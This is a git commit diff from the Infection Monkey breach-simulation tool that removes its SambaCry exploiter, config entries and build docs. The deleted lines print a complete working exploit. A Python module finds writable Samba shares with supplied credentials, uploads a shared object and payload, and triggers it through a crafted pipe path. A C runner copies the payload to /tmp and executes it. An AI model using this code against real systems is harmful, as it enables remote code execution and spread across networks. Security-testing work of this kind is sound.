Agent: remove sambacry exploiter code and related infrastructure/docs

This commit is contained in:
VakarisZ 2021-11-10 12:15:33 +02:00
parent d6e397871f
commit 73188e78cc
8 changed files with 8 additions and 803 deletions

View File

@ -242,22 +242,6 @@ class Configuration(object):
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey" smb_service_name = "InfectionMonkey"
# Timeout (in seconds) for sambacry's trigger to yield results.
sambacry_trigger_timeout = 5
# Folder paths to guess share lies inside.
sambacry_folder_paths_to_guess = [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home",
]
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
########################### ###########################
# post breach actions # post breach actions
########################### ###########################

View File

@ -33,7 +33,6 @@
"WmiExploiter", "WmiExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter", "HadoopExploiter",
@ -67,9 +66,6 @@
"exploit_lm_hash_list": [], "exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [], "exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [], "exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false, "local_network_scan": false,
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 0, "tcp_scan_interval": 0,

View File

@ -1,548 +0,0 @@
import itertools
import logging
import posixpath
import re
import time
from io import BytesIO
import impacket.smbconnection
from impacket.nmb import NetBIOSError
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import (
FILE_DIRECTORY_FILE,
FILE_NON_DIRECTORY_FILE,
FILE_OPEN,
FILE_READ_DATA,
FILE_SHARE_READ,
FILE_WRITE_DATA,
SMB,
SMB_DIALECT,
SessionError,
SMBCommand,
SMBNtCreateAndX_Data,
SMBNtCreateAndX_Parameters,
)
from impacket.smb3structs import (
SMB2_CREATE,
SMB2_FLAGS_DFS_OPERATIONS,
SMB2_IL_IMPERSONATION,
SMB2_OPLOCK_LEVEL_NONE,
SMB2Create,
SMB2Create_Response,
SMB2Packet,
)
from impacket.smbconnection import SMBConnection
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
"""
SambaCry exploit module, partially based on the following implementation by CORE Security
Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
_TARGET_OS_TYPE = ["linux"]
_EXPLOITED_SERVICE = "Samba"
# Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result
SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result"
# SambaCry runner filename (32 bit)
SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
# SambaCry runner filename (64 bit)
SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
# Monkey filename on share (32 bit)
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
# Monkey filename on share (64 bit)
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
# Supported samba port
SAMBA_PORT = 445
def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
def _exploit_host(self):
if not self.is_vulnerable():
return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
logger.info(
"Writable shares and their credentials on host %s: %s"
% (self.host.ip_addr, str(writable_shares_creds_dict))
)
self.exploit_info["shares"] = {}
for share in writable_shares_creds_dict:
self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(share, writable_shares_creds_dict[share])
# Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout)
successfully_triggered_shares = []
for share in writable_shares_creds_dict:
trigger_result = self.get_trigger_result(
self.host.ip_addr, share, writable_shares_creds_dict[share]
)
creds = writable_shares_creds_dict[share]
self.report_login_attempt(
trigger_result is not None,
creds["username"],
creds["password"],
creds["lm_hash"],
creds["ntlm_hash"],
)
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {
"username": creds["username"],
"host": self.host.ip_addr,
"port": self.SAMBA_PORT,
"share_name": share,
}
self.add_vuln_url(url)
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares:
self.exploit_info["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
logger.info(
"Shares triggered successfully on host %s: %s"
% (self.host.ip_addr, str(successfully_triggered_shares))
)
self.add_vuln_port(self.SAMBA_PORT)
return True
else:
logger.info("No shares triggered successfully on host %s" % self.host.ip_addr)
return False
def try_exploit_share(self, share, creds):
"""
Tries exploiting share
:param share: share name
:param creds: credentials to use with share
"""
try:
smb_client = self.connect_to_server(self.host.ip_addr, creds)
self.upload_module(smb_client, share)
self.trigger_module(smb_client, share)
except (impacket.smbconnection.SessionError, SessionError):
logger.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s."
% (self.host.ip_addr, share, str(creds))
)
def clean_share(self, ip, share, creds):
"""
Cleans remote share of any remaining files created by monkey
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [
self.SAMBACRY_COMMANDLINE_FILENAME,
self.SAMBACRY_RUNNER_RESULT_FILENAME,
self.SAMBACRY_RUNNER_FILENAME_32,
self.SAMBACRY_RUNNER_FILENAME_64,
self.SAMBACRY_MONKEY_FILENAME_32,
self.SAMBACRY_MONKEY_FILENAME_64,
]
for filename in file_list:
try:
smb_client.deleteFile(share, "\\%s" % filename)
except (impacket.smbconnection.SessionError, SessionError):
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
def get_trigger_result(self, ip, share, creds):
"""
Checks if the trigger yielded any result and returns it.
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
:return: result of trigger if there was one. None otherwise
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(
tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA
)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError):
pass
smb_client.disconnectTree(tree_id)
return file_content
def get_writable_shares_creds_dict(self, ip):
"""
Gets dictionary of writable shares and their credentials
:param ip: IP address of the victim
:return: Dictionary of writable shares and their corresponding credentials.
"""
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
logger.debug("SambaCry credential list: %s" % str(credentials_list))
for credentials in credentials_list:
try:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
# don't try shares we can already write to.
for share in [x for x in shares if x not in writable_shares_creds_dict]:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
except (impacket.smbconnection.SessionError, SessionError, NetBIOSError):
# If failed using some credentials, try others.
pass
return writable_shares_creds_dict
def get_credentials_list(self):
creds = self._config.get_exploit_user_password_or_hash_product()
creds = [
{"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash}
for user, password, lm_hash, ntlm_hash in creds
]
# Add empty credentials for anonymous shares.
creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""})
return creds
def list_shares(self, smb_client):
shares = [x["shi1_netname"][:-1] for x in smb_client.listShares()]
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self):
"""
Checks whether the victim runs a possibly vulnerable version of samba
:return: True if victim is vulnerable, False otherwise
"""
if SMB_SERVICE not in self.host.services:
logger.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
return False
pattern = re.compile(r"\d*\.\d*\.\d*")
smb_server_name = self.host.services[SMB_SERVICE].get("name")
if not smb_server_name:
logger.info("Host: %s refused SMB connection" % self.host.ip_addr)
return False
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
if pattern_result is not None:
samba_version = smb_server_name[pattern_result.start() : pattern_result.end()]
samba_version_parts = samba_version.split(".")
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "4")
and (samba_version_parts[1] <= "13")
):
is_vulnerable = True
elif (
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "5")
and (samba_version_parts[1] <= "9")
):
is_vulnerable = True
elif (
(samba_version_parts[0] == "4")
and (samba_version_parts[1] == "6")
and (samba_version_parts[1] <= "3")
):
is_vulnerable = True
else:
# If pattern doesn't match we can't tell what version it is. Better try
is_vulnerable = True
logger.info(
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
)
return is_vulnerable
def upload_module(self, smb_client, share):
"""
Uploads the module and all relevant files to server
:param smb_client: smb client object
:param share: share name
"""
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(
self._config.dropper_target_path_linux
) as monkey_commandline_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read
)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read
)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read
)
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read
)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read
)
T1105Telem(
ScanStatus.USED,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_bin_64_src_path,
).send()
smb_client.disconnectTree(tree_id)
def trigger_module(self, smb_client, share):
"""
Tries triggering module
:param smb_client: smb client object
:param share: share name
:return: True if might triggered successfully, False otherwise.
"""
trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share)
for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
return trigger_might_succeeded
def trigger_module_by_path(self, smb_client, module_path):
"""
Tries triggering module by path
:param smb_client: smb client object
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
:return: True if might triggered successfully, False otherwise.
"""
try:
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
except Exception as e:
# This is the expected result. We can't tell whether we succeeded or not just by this
# error code.
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
return True
else:
pass
return False
def generate_module_possible_paths(self, share_name):
"""
Generates array of possible paths
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
return [
posixpath.join(*x)
for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)
]
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
else:
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, location):
return BytesIO(
DROPPER_ARG
+ build_monkey_commandline(
self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location)
)
)
@staticmethod
def is_share_writable(smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
logger.debug("Checking %s for write access" % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, "\\", FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
@staticmethod
def connect_to_server(ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"],
credentials["password"],
"",
credentials["lm_hash"],
credentials["ntlm_hash"],
)
return smb_client
# Following are slightly modified SMB functions from impacket to fit our needs of the
# vulnerability #
@staticmethod
def create_smb(
smb_client,
treeId,
fileName,
desiredAccess,
shareMode,
creationOptions,
creationDisposition,
fileAttributes,
impersonationLevel=SMB2_IL_IMPERSONATION,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
createContexts=None,
):
packet = smb_client.getSMBServer().SMB_PACKET()
packet["Command"] = SMB2_CREATE
packet["TreeID"] = treeId
if smb_client._SMBConnection._Session["TreeConnectTable"][treeId]["IsDfsShare"] is True:
packet["Flags"] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create["SecurityFlags"] = 0
smb2Create["RequestedOplockLevel"] = oplockLevel
smb2Create["ImpersonationLevel"] = impersonationLevel
smb2Create["DesiredAccess"] = desiredAccess
smb2Create["FileAttributes"] = fileAttributes
smb2Create["ShareAccess"] = shareMode
smb2Create["CreateDisposition"] = creationDisposition
smb2Create["CreateOptions"] = creationOptions
smb2Create["NameLength"] = len(fileName) * 2
if fileName != "":
smb2Create["Buffer"] = fileName.encode("utf-16le")
else:
smb2Create["Buffer"] = b"\x00"
if createContexts is not None:
smb2Create["Buffer"] += createContexts
smb2Create["CreateContextsOffset"] = (
len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"]
)
smb2Create["CreateContextsLength"] = len(createContexts)
else:
smb2Create["CreateContextsOffset"] = 0
smb2Create["CreateContextsLength"] = 0
packet["Data"] = smb2Create
packetID = smb_client.getSMBServer().sendSMB(packet)
ans = smb_client.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans["Data"])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse["FileID"])
@staticmethod
def open_pipe(smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert
# paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree("IPC$")
logger.debug("Triggering path: %s" % pathName)
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
pathName = pathName.encode("utf-16le") if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate["Parameters"] = SMBNtCreateAndX_Parameters()
ntCreate["Data"] = SMBNtCreateAndX_Data(flags=flags2)
ntCreate["Parameters"]["FileNameLength"] = len(pathName)
ntCreate["Parameters"]["AccessMask"] = FILE_READ_DATA
ntCreate["Parameters"]["FileAttributes"] = 0
ntCreate["Parameters"]["ShareAccess"] = FILE_SHARE_READ
ntCreate["Parameters"]["Disposition"] = FILE_NON_DIRECTORY_FILE
ntCreate["Parameters"]["CreateOptions"] = FILE_OPEN
ntCreate["Parameters"]["Impersonation"] = SMB2_IL_IMPERSONATION
ntCreate["Parameters"]["SecurityFlags"] = 0
ntCreate["Parameters"]["CreateFlags"] = 0x16
ntCreate["Data"]["FileName"] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
ntCreate["Data"]["Pad"] = 0x0
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return SambaCryExploiter.create_smb(
smb_client,
treeId,
pathName,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN,
creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0,
)

View File

@ -1,9 +0,0 @@
#!/usr/bin/env bash
gcc -c -Wall -Werror -fpic -m64 sc_monkey_runner.c
gcc -shared -m64 -o sc_monkey_runner64.so sc_monkey_runner.o
rm sc_monkey_runner.o
strip sc_monkey_runner64.so
gcc -c -Wall -Werror -fpic -m32 sc_monkey_runner.c
gcc -shared -m32 -o sc_monkey_runner32.so sc_monkey_runner.o
rm sc_monkey_runner.o
strip sc_monkey_runner32.so

View File

@ -1,163 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#include "sc_monkey_runner.h"
#ifdef __x86_64__
#define ARCH_IS_64
#endif
#ifdef _____LP64_____
#define ARCH_IS_64
#endif
#define LINE_MAX_LENGTH (2048)
#define MAX_PARAMETERS (30)
int samba_init_module(void)
{
#ifdef ARCH_IS_64
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
const char MONKEY_NAME[] = "monkey64";
#else
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
const char MONKEY_NAME[] = "monkey32";
#endif
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
const int ACCESS_MODE = 0777;
const char RUN_MONKEY_CMD[] = "./";
const char MONKEY_DEST_FOLDER[] = "/tmp";
const char MONKEY_DEST_NAME[] = "monkey";
int found = 0;
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
char commandline[LINE_MAX_LENGTH] = {'\0'};
char* monkeyDirectory = NULL;
char* fileNamePointer = NULL;
FILE * pFile = NULL;
pid_t pid = 0;
int monkeySize = 0;
void* monkeyBinary = NULL;
struct stat fileStats;
pid = fork();
if (0 != pid)
{
// error or this is parent - nothing to do but return.
return 0;
}
// Find fullpath of running module.
pFile = fopen("/proc/self/maps", "r");
if (NULL == pFile)
{
return 0;
}
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
if (fileNamePointer != NULL) {
found = 1;
break;
}
}
fclose(pFile);
// We can't find ourselves in module list
if (0 == found)
{
return 0;
}
monkeyDirectory = strchr(modulePathLine, '/');
*fileNamePointer = '\0';
if (0 != chdir(monkeyDirectory))
{
return 0;
}
// Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (NULL == pFile)
{
return 0;
}
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
fclose(pFile);
// Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r");
if (NULL == pFile)
{
return 0;
}
// Build commandline
snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile);
if (0 != stat(MONKEY_NAME, &fileStats))
{
return 0;
}
monkeySize = (int)fileStats.st_size;
// Copy monkey to new file so we'll own it.
pFile = fopen(MONKEY_NAME, "rb");
if (NULL == pFile)
{
return 0;
}
monkeyBinary = malloc(monkeySize);
if (NULL == monkeyBinary)
{
return 0;
}
fread(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
if (0 != chdir(MONKEY_DEST_FOLDER))
{
return 0;
}
pFile = fopen(MONKEY_DEST_NAME, "wb");
if (NULL == pFile)
{
free(monkeyBinary);
return 0;
}
fwrite(monkeyBinary, 1, monkeySize, pFile);
fclose(pFile);
free(monkeyBinary);
// Change monkey permissions
if (0 != chmod(MONKEY_DEST_NAME, ACCESS_MODE))
{
return 0;
}
system(commandline);
return 0;
}
int init_samba_module(void)
{
return samba_init_module();
}

View File

@ -1,7 +0,0 @@
#ifndef monkey_runner_h__
#define monkey_runner_h__
extern int samba_init_module(void);
extern int init_samba_module(void);
#endif // monkey_runner_h__

View File

@ -1,23 +0,0 @@
import os
import sys
def get_binaries_dir_path():
"""
Gets the path to the binaries dir (files packaged in pyinstaller if it was used,
infection_monkey dir otherwise)
:return: Binaries dir path
"""
if getattr(sys, "frozen", False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))
def get_binary_file_path(filename):
"""
Gets the path to a binary file
:param filename: name of the file
:return: Path to file
"""
return os.path.join(get_binaries_dir_path(), filename)

View File

@ -3,10 +3,7 @@
>To easily setup development environment for Monkey Island and the Monkey look into [deployment scripts](../../deployment_scripts) folder. >To easily setup development environment for Monkey Island and the Monkey look into [deployment scripts](../../deployment_scripts) folder.
>If you want to setup dev. env. for the Monkey manually, refer to the instructions below. >If you want to setup dev. env. for the Monkey manually, refer to the instructions below.
The monkey is composed of three separate parts. The monkey is a PyInstaller compressed python archives.
- The Infection Monkey itself - PyInstaller compressed python archives
- Sambacry binaries - Two linux binaries, 32/64 bit.
## Windows ## Windows
@ -18,18 +15,15 @@ The monkey is composed of three separate parts.
- Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different) - Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different)
`setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts` `setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts`
- Close the console, make sure you execute all commands in a new cmd console from now on. - Close the console, make sure you execute all commands in a new cmd console from now on.
2. Install further dependencies 1. Install further dependencies
- if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package - if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package
- 32bit: <https://aka.ms/vs/16/release/vc_redist.x86.exe> - 32bit: <https://aka.ms/vs/16/release/vc_redist.x86.exe>
- 64bit: <https://go.microsoft.com/fwlink/?LinkId=746572> - 64bit: <https://go.microsoft.com/fwlink/?LinkId=746572>
3. Download the dependent python packages using 1. Download the dependent python packages using
`pip install -r requirements.txt` `pip install -r requirements.txt`
4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe: 1. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe:
<https://github.com/upx/upx/releases/download/v3.94/upx394w.zip> <https://github.com/upx/upx/releases/download/v3.94/upx394w.zip>
5. Build/Download Sambacry 1. To build the final exe:
- Build/Download according to sections at the end of this readme.
- Place the binaries under monkey\infection_monkey\bin
6. To build the final exe:
- `cd monkey\infection_monkey` - `cd monkey\infection_monkey`
- `build_windows.bat` - `build_windows.bat`
- output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python - output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python
@ -37,7 +31,7 @@ The monkey is composed of three separate parts.
## Linux ## Linux
Tested on Ubuntu 16.04. Tested on Ubuntu 16.04.
0. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa: 1. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa:
- `sudo add-apt-repository ppa:deadsnakes/ppa` - `sudo add-apt-repository ppa:deadsnakes/ppa`
- `sudo apt-get update` - `sudo apt-get update`
- `sudo apt install python3.7` - `sudo apt install python3.7`
@ -47,37 +41,18 @@ Tested on Ubuntu 16.04.
- `python3.7 -m pip install pip` - `python3.7 -m pip install pip`
- `sudo apt-get install python3.7-dev libffi-dev upx libssl-dev libc++1` - `sudo apt-get install python3.7-dev libffi-dev upx libssl-dev libc++1`
2. Install the python packages listed in requirements.txt using pip 1. Install the python packages listed in requirements.txt using pip
- `cd [code location]/infection_monkey` - `cd [code location]/infection_monkey`
- `python3.7 -m pipenv lock -r --dev > requirements.txt` - `python3.7 -m pipenv lock -r --dev > requirements.txt`
- `python3.7 -m pip install -r requirements.txt` - `python3.7 -m pip install -r requirements.txt`
3. Build Sambacry binaries 1. To build, run in terminal:
- Build/Download according to sections at the end of this readme.
- Place the binaries under [code location]/infection_monkey/bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so'
4. To build, run in terminal:
- `cd [code location]/infection_monkey` - `cd [code location]/infection_monkey`
- `chmod +x build_linux.sh` - `chmod +x build_linux.sh`
- `pipenv run ./build_linux.sh` - `pipenv run ./build_linux.sh`
output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python
### Sambacry
Sambacry requires two standalone binaries to execute remotely.
1. Build sambacry binaries yourself
- Install gcc-multilib if it's not installed `sudo apt-get install gcc-multilib`
- Build the binaries
1. `cd [code location]/infection_monkey/exploit/sambacry_monkey_runner`
2. `./build.sh`
2. Download our pre-built sambacry binaries
- Available here:
- 32bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so>
- 64bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so>
### Troubleshooting ### Troubleshooting
Some of the possible errors that may come up while trying to build the infection monkey: Some of the possible errors that may come up while trying to build the infection monkey: